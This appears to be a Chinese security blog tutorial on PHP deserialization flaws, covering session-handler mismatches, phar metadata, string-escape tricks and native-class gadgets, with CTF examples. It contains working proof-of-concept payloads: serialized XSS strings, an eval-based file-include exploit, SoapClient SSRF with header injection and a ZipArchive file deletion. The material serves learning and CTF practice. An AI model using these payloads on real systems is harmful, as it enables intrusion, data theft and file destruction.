PHP反序列化漏洞

PHP反序列化漏洞

基础知识:

序列化:利用serialize()函数将一个对象转换为字符串形式。使保存、传输对象数据更加方便。

序列化操作只是保存对象(不是类)的变量,不保存对象的方法,反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的。我们无法控制对象的方法来调用,因此我们这里只能去找一些可以自动调用的一些魔术方法。

1
2
3
4
5
6
7
8
<?php
class test{
public $name="w0s1np";
public $age="18";
}
$a=new test();
print_r($a);
?>

效果如下:

a

注意:序列化只序列属性,不序列方法。

再把该数组序列化转化为字符串输出:

1
2
3
4
5
6
7
8
9
<?php
class test{
public $name="w0s1np";
public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果如下:

b

O表示对象,4表示对象名长度,test表示对象名,2表示对象成员个数,s表示字符串,4表示名称长度,name表示name值。

全部类型如下:

Type Serialization examples
Null N;
Boolean b:1; b:0;
Integer i:685230; i:-685230;
Floating point d:685230.15; d:INF; d:-INF; d:NAN;
String s:6:"A to Z";
Associative array a:4:{i:0;b:1;i:1;N;i:2;d:-421000000;i:3;s:6:"A to Z";} a:2:{i:42;b:1;s:6:"A to Z";a:3:{i:0;i:1;i:1;i:2;i:2;i:3;}}
Object O:8:"stdClass":2:{s:4:"John";d:3.14;s:4:"Jane";d:2.718;}

如果不是public方法,那么后面的读取方法就不一样:

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $name="w0s1np";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

结果

b

可以发现本来是age结果上面出现的是testage,而且testage长度为7,但是上面显示的是9

是因为:private属性序列化的时候格式是%00类名%00成员名,%00占一个字节长度,所以age加了类名后变成了testage长度为9

有发现本来是sex结果上面出现的是*sex,而且*sex的长度是4,但是上面显示的是6

是因为:protect属性序列化的时候格式是%00*%00成员名

常见魔术方法:

魔术方法 触发条件
__construct() 构造函数,创建对象时触发
__destruct() 析构函数,对象被销毁时触发
__call() 在对象上下文中调用不可访问或不存在的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问或不存在的属性读取数据
__set() 用于将数据写入不可访问或不存在的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__sleep() 使用serialize()函数时触发
__weakup() 被unserialize()反序列化时触发
__toString() 一个类被当做字符串时触发。用于一个类被当成字符串时应怎样回应。例如 echo $obj;应该显示些什么。此方法必须返回一个字符串,否则会产生错误
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__set_state() 当调用 var_export()导出类时,此静态方法会被调用
__clone() 对象复制可以通过clone关键字来完成,此时将调用对象的__clone()方法
__debuginfo() 转储对象以获取应显示的属性时,此方法由var_dump()调用

在反序列化能够利用的点必须要有相应的魔术方法配合。其中比较关键的有这几个。

1
2
3
4
5
__destruct()
__wakeup()
__toString()
__call()
__get()

之前复现的CMS几个反序列化漏洞,都差不多与这个有关

CVE-2016-7124 __wakeup绕过

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行。

例如上面的:

1
O:4:"test":3:{s:4:"name";s:6:"w0s1np";s:9:"testage";s:2:"18";s:6:"*sex";s:3:"man";}

改为:

1
O:5:"test":3:{s:4:"name";s:6:"w0s1np";s:9:"testage";s:2:"18";s:6:"*sex";s:3:"man";}

即可绕过__wakeup()魔术方法,其实这个很简单,但问题就是不要一遇到__wakeup()魔术方法就想到绕过它,之前有到CTF题里面,我们必须利用里面的东西,而我一看到就想到绕过导致看了很久才发现问题

POP Chain

就是是通过控制对象的属性从而实现控制程序的执行流程,进而达成利用本身无害的代码进行有害操作的目的。

详情请见CMS反序列化漏洞分析,里面都写了对POP Chain 的构造分析

PHP Session反序列化漏洞

什么是 Session

session英文翻译为”会话”,两个人聊天从开始到结束就构成了一个会话。PHP里的 session 主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期。

什么是PHP Session

可以看作是一个特殊的变量,且该变量适用于存储关于用户的会话信息,需要注意的是,该变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的。

PHP Session工作流程

c

当开始一个会话时,PHP会尝试从请求中查找会话ID,通常是使用cookie,如果请求包中未发现session id,PHP就会自动调用php_session_create_id函数创建一个新的会话,并且在响应包头中通过set-cookie参数发给客户端保存。

PHP Session在PHP ini中的配置

php.ini 里面有如下六个相对重要的配置

1
2
3
4
5
6
session.save_path=""      --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

例如phpstudy

d

session的存储路径

e

即表明session是以文件的方式来进行存储的

f

表明默认不启动session

session.serialize_handler = php

表明session的默认(反)序列化引擎使用的是php(反)序列化引擎

session.upload_progress.enabled on

表明允许上传进度跟踪,并填充$ _SESSION变量

session.upload_progress.cleanup on

表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

PHP session的存储机制

PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,

session.serialize_handler定义的引擎共有三种:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize(php>5.54) 经过serialize()函数序列化处理的数组

PHP 处理器

首先来看看session.serialize_handler等于php时候的序列化结果,代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

g

我们到session存储目录查看一下session文件内容

h

PHP session反序列化漏洞形成原理

反序列化的各个处理器本身是没有问题的,但是如果phpphp_serialize这两个处理区混合起来使用,就会出现session反序列化漏洞。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入| , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

例如:
定义一个session.php,用于传入session的值

1
2
3
4
5
6
7
//session.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

查看session内容:

i

再定义一个 class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//class.php
<?php
error_reporting(0);
ini_set('session.serialize_handler','php'); //定义session引擎
session_start(); //初始化session,如果你要使用session,必须先使用这句话。
class Hello{
public $name = 'w0s1np';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo "<br>".$this->name;
}
}
$str = new Hello();
?>

实例化对象之后回显w0s1np

session.php文件处理器是php_serializeclass.php文件处理器是php , session.php文件得作用是传入可控得session值, class.php文件的作用是在反序化开始触发__wakeup()方法的内容,反序化结束时触发 __destruct()方法。

漏洞利用就是在session.php得可控值处传入 | +序列化字符,然后再次访问class.php调用session的值的时候会触发。

利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Hello{
public $name;
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name; //这里在结束后再输出name值
}
}
$str = new Hello();
$str->name = "w0s1np";
echo serialize($str); //先输出序列化的东西
?>

结果如下:

j

传入session.php的payload:|O:5:"Hello":1:{s:4:"name";s:6:"w0s1np";}

查看存储的session:

k

此时再次访问class.php,结果如下:

1
2
3
Who are you?
w0s1np
w0s1np

其实就是因为php需要使用session的时候,必须是要加 | 的格式,如果没查到就要新创一个session,但是我们用了一个脚本创了一个class.php里面一样的Hello类,所以当脚本代码里面序列化后的变量值传入class.php就可以替代class.php里面的变量值,要想class.php可以使用这个序列化,就需要加 | ,所以先使用脚本代码得到一个可以插入class.php里面的序列化,再加一个 | ,生成session,再当class.php运行时,一查session,发现存在,就利用该session来运行代码,所以也就把我们设置的变量值给输入进去了。

phar反序列化漏洞

什么是Phar?

概念:

Phar:Php archive
Phar(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源捆绑到一个归档文件中来实现应用程序和库的分发,类似于JAVA JAR的一种打包文件,自PHP 5.3.0起,PHP默认开启对后缀为.phar的文件的支持

Phar存档最有特色的特点是它是将多个文件分组为一个文件的便捷方法。这样,phar存档提供了一种将完整的PHP应用程序分发到单个文件中并从该文件运行它的方法,而无需将其提取到磁盘中,此外PHP可以像在命令行上和从web服务器上的任何其他文件一样轻松地执行phar存档。

Phar文件缺省状态是只读的,使用Phar文件不需要任何的配置。部署非常方便。因为我们现在需要创建一个自己的Phar文件,所以需要允许写入Phar文件,这需要修改一下php.ini,在php.ini文件末尾添加下面这段即可

[phar]
phar.readonly = 0

emmm,我还是先来说一下如何生成phar的吧

phar创建方法:

我现在自己的理解就是将一些文件打包,你可以先再你的网站服务器那里创建一个项目文件夹,里面可以包含任何文件,css,php,html等都可以,再在项目文件夹的同级区域内再创建一个php文件,里面用于产生phar格式文件。然后再在网页上输入php文件就可以产生phar文件了。

phar文档的使用:

假如随便创建一个index.php文件:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

/**
* Created by yunke.
* User: yunke
* Date: 2017/2/8
* Time: 9:33
*/

require "yunke.phar"; //就是说调用yunke.phar
require "phar://yunke.phar/Lib.php"; //就是说调用phar里面的lib.php文件
yunke(); //使用lib.php文件里面的函数

如果index.php文件中只有第一行,那么和不使用归档文件时,添加如下代码完全相同:

1
require "project/index.php";  

如果没有第二行,那么第三行的yunke()将提示未定义,所以可见require一个phar文件时并不是导入了里面所有的文件,而只是导入了入口执行文件而已,但在实际项目中往往在这个入口文件里导入其他需要使用的文件,在本例中入口执行文件为lib.php。

组成结构:

stub:它是phar的文件标识,格式为xxx

manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储。

contents:压缩文件的内容。

signature:签名,放在文件末尾。

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;

二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。

前提条件:

php.ini中设置为phar.readonly=Off
php version>=5.3.0

漏洞成因:phar 存储的 meta-data 信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化。

我们先自己创建一个phar文件吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
class TestObject{
}

@unlink("test.phar");
$phar = new Phar("test.phar"); //后缀名必须为phar,这里意思就是产生一个test.phar文件。
$phar->startBuffering();
$phar->setStub("__HALT_COMPILER(); ?>");//设置stub
$o=new TestObject();
$phar->setMetadata($o);//将自定义的meta-data存入manifest
$phar->addFromString("test.txt","woshilnp");//添加要压缩的文件及文件内容
//签名自动计算

$phar->stopBuffering();
?>

如果你要添加一个文件夹里面所以的文件那么可以使用下面代码:

1
$phar->buildFromDirectory(dirname(__FILE__) . '/project');   // 添加project里面的所有文件到yunke.phar归档文件

emmm,大概就是这样,我们可以看下经过浏览器处理后,我们的网站根目录就产生了test.phar文件

zzz

同样,我们也可以确定,manifest确实是以序列化储存的。

有序列化数据必然会有反序列化操作,php里面很多文件系统函数在 phar:// 伪协议解析 phar 文件时,都会将meta-data进行反序列化。

例如:

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'hello woshilnp';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

ttt

为什么这里可以调用析构函数呢,是因为将phar.phar里面的TestObject类实例化经过反序列化加入在上面这个代码里面,所以当脚本运行后就执行了析构函数。所以我们就可以写一些木马脚本经过phar序列化,再通过phar://伪协议,反序化加入目的代码中。

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了攻击面。(这里我们就是把一些序列化的东西放入函数里面了)

php反序列化字符逃逸

前言:一般出现在ctf里面,所以这里都是在以ctf里面的环境讲解

此类题目的本质就是改变序列化字符串的长度,导致反序列化漏洞

原理:php序列化后的字符串经过替换或者修改,导致字符串长度改变

替换修改后导致序列化字符串变长

实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaa';
public $pass='123456';
}
$AA=new A();
$c=unserialize($res);
echo $c->pass;
?>

先看下php序列化代码特征:

1
O:1:"A":2:{s:4:"name";s:4:"aaaa";s:4:"pass";s:6:"123456";}

序列化字符串都是以一";}结束的,所以如果我们把";}带入需要反序列化的字符串中(除了结尾处),就能让反序列化提前闭合结束,后面的内容就丢弃了。
在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。

失败原因:正常的语法是需要用";去闭合当前的变量,而因为长度错误所以此时php把闭合的双引号当做了字符串,所以下一个字符就成了分号,没能闭合导致抛出了错误。

回到上面的代码,

如果我们将name变量中添加bb则程序就会报错,因为bb将被filter函数替换成cccccc的长度比bb多1,这样前面的s所代表的长度为2但是内容却变长了,成了ccc

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
function filter($str){
return str_replace('bb', 'ccc', $str);
}
class A{
public $name='aaaabb';
public $pass='123456';
}
$AA=new A();
echo serialize($AA)."\n";
$res=filter(serialize($AA));
echo $res;
?>
1
2
O:1:"A":2:{s:4:"name";s:6:"aaaabb";s:4:"pass";s:6:"123456";}
O:1:"A":2:{s:4:"name";s:6:"aaaaccc";s:4:"pass";s:6:"123456";}

因为s:6,所以name只读取aaaacc,末尾的c就读取不到,这就形成了字符逃逸了,但是我们想修改pass里面的值该怎么办呢,

肯定需要闭合,所以在name处加上";s:4:"pass";s:6:"hacker";}来间接修改pass的值,

如果我们只是单纯的把它加进去的话,就像下面这样:

1
2
3
4
class A{
public $name='";s:4:"pass";s:6:"hacker";}';
public $pass='123456';
}

得到:

1
O:1:"A":2:{s:4:"name";s:27:"";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";}

再反序化:

1
A Object ( [name] => ";s:4:"pass";s:6:"hacker";} [pass] => 123456 )

发现pass没有改变,因为$name被序列化后的长度是固定的,在反序列化后$name仍然为";s:4:"pass";s:6:"hacker";}$pass仍然为123456

所以我们需要加入bb来让后面的字符逃逸

因为";s:4:"pass";s:6:"hacker";}的长度为27,如果我们再加上27个bb,那最终的长度将增加27,就让后面的27个字逃逸出来了,就成为pass里面的东西,顺便闭合了序列化结构

1
2
O:1:"A":2:{s:4:"name";s:81:"ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc";s:4:"pass";s:6:"hacker";}";s:4:"pass";s:6:"123456";} //包括"及之前就81个了,所以后面的name就不再读取了,刚好又是pass的结构
A Object ( [name] => ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc [pass] => hacker )

就把pass里面的值修改了

例题:[0CTF 2016]piapiapia

详情见:https://www.cnblogs.com/w0s1np/p/14236380.html

替换修改之后导致序列化字符串变短

实验代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
function str_rep($string){
return preg_replace( '/php|test/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

输入name和sign,number值是固定的’2020’,经过 序列化-->敏感字替换为空(长度变短)-->反序列化 的过程之后再输出结果。

gddr

接下来利用漏洞,通过输入namesign来间接修改number的值:

我们要修改number的值,就要在sign中加入";s:6:"number";s:4:"2020";},其长度为27

但是直接加肯定不行,因为在str_rep函数中如果检测到’php’、’test’关键字就把其替换为空,那么就利用这一点,我们可以故意输入敏感字符,替换为空之后来实现字符逃逸。

所以构造payload:

1
?name=testtesttesttesttesttest&sign=hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}

sg

我们在name中输入了输入了6个test,替换为空后这样就腾出了24个字符的空间,正好包含进了";s:4:"sign";s:54:"hello,由于";s:4:"sign";s:54:"hello成了name的内容,所以我们还要在后面加个";s:4:"sign";s:4:"eval作为sign序列化的内容。

后面就是修改的number了,所以最后面的那个2020就被抛弃了,所以就修改了number

例题:[安洵杯 2019]easy_serialize_php

详情见:https://www.cnblogs.com/w0s1np/p/14239490.html

PHP原生类

Error 内置类XSS

  • 适用于php7版本
  • 在开启报错的情况下

测试代码:

1
2
3
4
<?php
$a = unserialize($_GET['w0s1np']);
echo $a;
?>

POC:

1
2
3
4
5
<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>

n

Exception 内置类XSS

  • 适用于php5、7版本
  • 开启报错的情况下

测试代码:

1
2
3
4
5
<?php
$a = unserialize($_GET['w0s1np']);
echo $a;
?>
//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

POC:

1
2
3
4
5
6
<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);
?>
//输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

n

Error /Exception 类绕过哈希比较

Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。

Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。

ErrorException这两个PHP原生类中内只有 __toString 方法,这个方法用于将异常或错误对象转换为字符串。

以Error为例,我们看看当触发他的 __toString 方法时会发生什么:

1
2
3
<?php
$a = new Error("payload",1);
echo $a;

输出如下:

1
2
3
Error: payload in D:\phpstudy_pro\WWW\index.php:2 
Stack trace:
#0 {main}

这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1) 中的错误代码“1”则没有输出出来。

在来看看下一个例子:

1
2
3
4
5
<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

1
2
3
4
5
6
7
Error: payload in D:\phpstudy_pro\WWW\index.php:2 
Stack trace:
#0 {main}

Error: payload in D:\phpstudy_pro\WWW\index.php:2
Stack trace:
#0 {main}

$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

[2020 极客大挑战]Greatphp

进入题目,给出源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
class SYCLOVER {
public $syc;
public $lover;

public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

if (isset($_GET['great'])){
unserialize($_GET['great']);
} else {
highlight_file(__FILE__);
}

?>

需要进入eval()执行代码需要先通过上面的if语句:

1
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

考点是md5()sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class SYCLOVER {
public $syc;
public $lover;
public function __wakeup(){
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
eval($this->syc);
} else {
die("Try Hard !!");
}

}
}
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/*
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";

$str = "?><?=include $_GET[_]?>";
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error__toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

1
2
3
Error: payload in D:\phpstudy_pro\WWW\index.php:2 
Stack trace:
#0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。

使用 SoapClient 类进行 SSRF

PHP 的内置类SoapClient是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的PHP客户端。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送HTTPHTTPS请求。正是这个__call方法,使得SoapClient类可以被我们运用在SSRF中。

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置locationuri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri是SOAP服务的目标命名空间。

我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。

1
2
3
4
5
6
7
<?php
$a = new SoapClient(null,array('location'=>'http://192.168.133.128:2333/aaa', 'uri'=>'http://192.168.133.128:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

首先在47.xxx.xxx.72上面起个监听:

然后执行上述代码,如下图所示成功触发SSRF,47.xxx.xxx.72上面收到了请求信息:

a

但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。

如下测试代码,我们在HTTP头中插入一个cookie:

1
2
3
4
5
6
7
8
<?php
$target = 'http://192.168.133.128:2333/';
$a = new SoapClient(null,array('location' => $target, 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4", 'uri' => 'test'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a(); // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

例题可参考:[MRCTF2020]Ezpop_Revenge

使用 DirectoryIterator 类绕过 open_basedir

DirectoryIterator类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类

DirectoryIteratorglob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。

测试代码:

1
2
3
4
5
6
7
8
9
10
<?php
$dir = $_GET['w0s1np'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?w0s1np=glob:///* 即可列出根目录下的文件:

但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

a

使用 SimpleXMLElement 类进行 XXE

b

c

可以看到通过设置第三个参数data_is_urltrue,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数data就是我们自己设置的payloadurl地址,即用于引入的外部实体的url

这样的话,当我们可以控制目标调用的类的时候,便可以通过SimpleXMLElement这个内置类来构造 XXE。

ZipArchive::open 删除文件

使用条件:

  • 要调用对象的open函数,且open函数中的参数可控
  • 第二个参数设置为ZipArchive::OVERWRITE
1
2
3
4
5
<?php
$a = new ZipArchive();
$a->open('1.txt',ZipArchive::OVERWRITE);
// ZipArchive::OVERWRITE: 总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖
// 因为没有保存,所以效果就是删除了1.txt

运行之后就删除了1.txt

例题参考:[NepCTF2021 梦里花开牡丹亭]

https://www.cnblogs.com/w0s1np/p/14641597.html

GlobIterator 遍历目录

使用条件:

  • 遍历对象
1
2
GlobIterator::__construct(string $pattern, [int $flag])
从使用$pattern构造一个新的目录迭代

使用例子:

1
2
3
$newclass = new GlobIterator("./*.php",0);
foreach ($newclass as $key=>$value)
echo $key.'=>'.$value.'<br>';

例题参考:[红日Day3-CTF]实例化任意对象漏洞

reference

https://xz.aliyun.com/t/9293